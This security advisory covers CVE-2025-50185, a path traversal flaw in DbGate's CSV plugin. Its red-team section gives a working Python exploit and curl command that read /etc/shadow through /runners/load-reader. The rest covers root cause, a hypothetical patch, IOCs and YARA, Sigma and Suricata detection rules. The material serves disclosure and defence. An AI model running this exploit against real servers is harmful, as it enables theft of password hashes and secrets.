CVE-2025-50185

Executive Summary

CVE-2025-50185 is a critical path traversal vulnerability in DbGate, a cross-platform database manager. The flaw resides in the dbgate-plugin-csv plugin, which fails to validate file paths and types before reading files. An authenticated attacker can exploit this by sending a crafted POST request to the /runners/load-reader endpoint, specifying an arbitrary file path (e.g., /etc/shadow) in the props.fileName field. The application then reads and returns the contents of that file, bypassing any access controls. This allows an attacker with application-level access to exfiltrate sensitive system files, including those readable only by root. The vulnerability is currently unpatched, and a public proof-of-concept (PoC) exists.

Supply Chain & Package Security

DbGate is an npm-based application. The vulnerable plugin dbgate-plugin-csv is part of the DbGate ecosystem. Users should monitor the official DbGate repository and npm registry for patched versions. Until a fix is released, the supply chain risk is high, as the application can be used to read arbitrary files from the host system.

CVSS Breakdown & Threat Level

CVSS Score: 7.5 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

• Attack Vector (AV): Network – The vulnerability is exploitable remotely via HTTP.
• Attack Complexity (AC): Low – No special conditions are required; the exploit is straightforward.
• Privileges Required (PR): Low – An attacker needs only application-level authentication (e.g., a valid bearer token).
• User Interaction (UI): None – No user action is needed beyond the attacker's request.
• Scope (S): Unchanged – The vulnerable component and the affected resource are in the same security authority.
• Confidentiality (C): High – Sensitive files (e.g., /etc/shadow, configuration files) can be read.
• Integrity (I): None – No file modification is possible.
• Availability (A): None – No denial of service.

Threat Level: High. The ease of exploitation and the potential for reading sensitive system files (including password hashes) makes this a critical risk for any organization using DbGate.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (CWE-22) combined with a lack of file type validation. The dbgate-plugin-csv plugin is designed to read CSV files for database import. However, the load-reader function does not sanitize the fileName parameter.

Root Cause:

1. Insufficient Path Validation: The fileName parameter is passed directly to a file reading function without checking for path traversal sequences (e.g., ../) or absolute paths (e.g., /etc/shadow).
2. No File Type Restriction: The plugin does not verify that the file extension is .csv or that the content type matches expected CSV data. It will read any file the application process has access to.

Exploit Flow:

1. The attacker authenticates to the DbGate web interface and obtains a valid bearer token.
2. The attacker sends a POST request to /runners/load-reader with a JSON payload containing functionName: "reader@dbgate-plugin-csv" and props.fileName set to a target file (e.g., /etc/shadow).
3. The server reads the file and returns its contents in the HTTP response, often as a CSV-like output.

Example Request (from PoC):

POST /runners/load-reader HTTP/1.1
Host: <TARGET>
Content-Type: application/json
Authorization: Bearer <TOKEN>

{"functionName":"reader@dbgate-plugin-csv","props":{"fileName":"/etc/shadow","limitRows":100}}

Vulnerable vs. Patched Code

Vulnerable Code (DbGate <= 6.6.0): The vulnerable function likely resembles:

// dbgate-plugin-csv/src/reader.js
async function loadReader(fileName, limitRows) {
  const fs = require('fs');
  const data = fs.readFileSync(fileName, 'utf8');
  // ... process and return data
}

No validation is performed on fileName.

Patched Code (Hypothetical): A patched version would include:

const path = require('path');
const allowedDir = path.resolve(__dirname, '../uploads');

async function loadReader(fileName, limitRows) {
  const resolvedPath = path.resolve(allowedDir, fileName);
  // Ensure the resolved path is within the allowed directory
  if (!resolvedPath.startsWith(allowedDir)) {
    throw new Error('Access denied');
  }
  // Optionally check file extension
  if (!fileName.endsWith('.csv')) {
    throw new Error('Invalid file type');
  }
  const fs = require('fs');
  const data = fs.readFileSync(resolvedPath, 'utf8');
  // ... process and return data
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install DbGate v6.6.0 on a Linux VM (e.g., Ubuntu 22.04).
2. Start the DbGate server and create a user account.
3. Obtain a valid bearer token by logging in via the web interface or API.

Exploitation Steps:

1. Use the following Python script to exploit the vulnerability:

import requests
import sys

target = sys.argv[1]
token = sys.argv[2]
file_path = sys.argv[3] if len(sys.argv) > 3 else "/etc/shadow"

url = f"{target}/runners/load-reader"
headers = {
    "Authorization": f"Bearer {token}",
    "Content-Type": "application/json"
}
payload = {
    "functionName": "reader@dbgate-plugin-csv",
    "props": {
        "fileName": file_path,
        "limitRows": 100
    }
}

response = requests.post(url, json=payload, headers=headers)
print(response.text)

2. Run: python3 exploit.py http://<TARGET>:3000 <TOKEN> /etc/shadow
3. The response will contain the contents of /etc/shadow.

Alternative: Use curl:

curl -X POST http://<TARGET>:3000/runners/load-reader \
  -H "Authorization: Bearer <TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"functionName":"reader@dbgate-plugin-csv","props":{"fileName":"/etc/shadow","limitRows":100}}'

Blue Team (Defensive)

Detection:

• Monitor for POST requests to /runners/load-reader with unusual fileName values (e.g., containing /etc, /proc, /sys, or ..).
• Alert on any access to sensitive files like /etc/shadow, /etc/passwd, or application configuration files.

Hunting:

• Search logs for functionName containing reader@dbgate-plugin-csv and fileName parameters that are not in the expected upload directory.
• Use the Sigma rule below to detect exploitation attempts.

Mitigation:

• Immediately restrict access to the /runners/load-reader endpoint using a Web Application Firewall (WAF) or reverse proxy.
• Implement input validation on the server side (if possible) to block path traversal characters.
• Disable the dbgate-plugin-csv plugin if not needed.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /runners/load-reader with JSON body containing "functionName":"reader@dbgate-plugin-csv" and "fileName" pointing to system files.
  • Outbound data transfers containing contents of /etc/shadow, /etc/passwd, or other sensitive files.

• File System IOCs:

  • Unexpected reads of /etc/shadow, /etc/passwd, /proc/self/environ, or application configuration files.
  • Log entries showing file read errors for non-CSV files.

• Process IOCs:

  • The DbGate process (e.g., node) reading files outside its expected working directory.

Detection Engineering

YARA Rule

rule CVE_2025_50185_DbGate_Path_Traversal {
    meta:
        description = "Detects exploitation attempts of CVE-2025-50185 in DbGate"
        author = "Valters IT"
        date = "2025-06-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-50185"
    strings:
        $json_payload = /"functionName"\s*:\s*"reader@dbgate-plugin-csv"/
        $file_path = /"fileName"\s*:\s*"\/[^"]*"/
        $sensitive_file = /"fileName"\s*:\s*"\/(etc|proc|sys|root|home)\/[^"]*"/
    condition:
        $json_payload and $file_path and #sensitive_file > 0
}

Sigma Rule

title: CVE-2025-50185 DbGate Path Traversal Exploitation
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to /runners/load-reader with path traversal attempts
author: Valters IT
date: 2025-06-01
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /runners/load-reader
        cs-uri-query|contains: 
            - '/etc/'
            - '/proc/'
            - '/sys/'
            - '/root/'
            - '/home/'
            - '..'
    condition: selection
falsepositives:
    - Legitimate use of CSV files in /etc/ (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-50185 DbGate Path Traversal Exploitation"; flow:to_server; content:"POST"; http_method; content:"/runners/load-reader"; http_uri; content:"functionName"; http_client_body; content:"reader@dbgate-plugin-csv"; http_client_body; content:"fileName"; http_client_body; pcre:"/\"fileName\"\s*:\s*\"\/(etc|proc|sys|root|home)\//"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable plugin: If the CSV import feature is not critical, remove or disable the dbgate-plugin-csv plugin.
2. Restrict network access: Use a firewall or reverse proxy to limit access to the DbGate web interface to trusted IPs only.
3. Implement a WAF rule: Block POST requests to /runners/load-reader that contain path traversal patterns.

Long-term Fix:

• Patch the application: Monitor the DbGate GitHub repository and npm for an official patch. Apply it as soon as it is released.
• Code review: Ensure all file read operations validate the path against an allowlist of directories and file extensions.
• Principle of least privilege: Run the DbGate process with a non-root user and restrict its file system access to only necessary directories.

Workaround:

• If patching is not possible, modify the source code of dbgate-plugin-csv to add path validation (see "Patched Code" section above) and rebuild the application.

Valters IT
DevSecOps & Cyber Threat Intelligence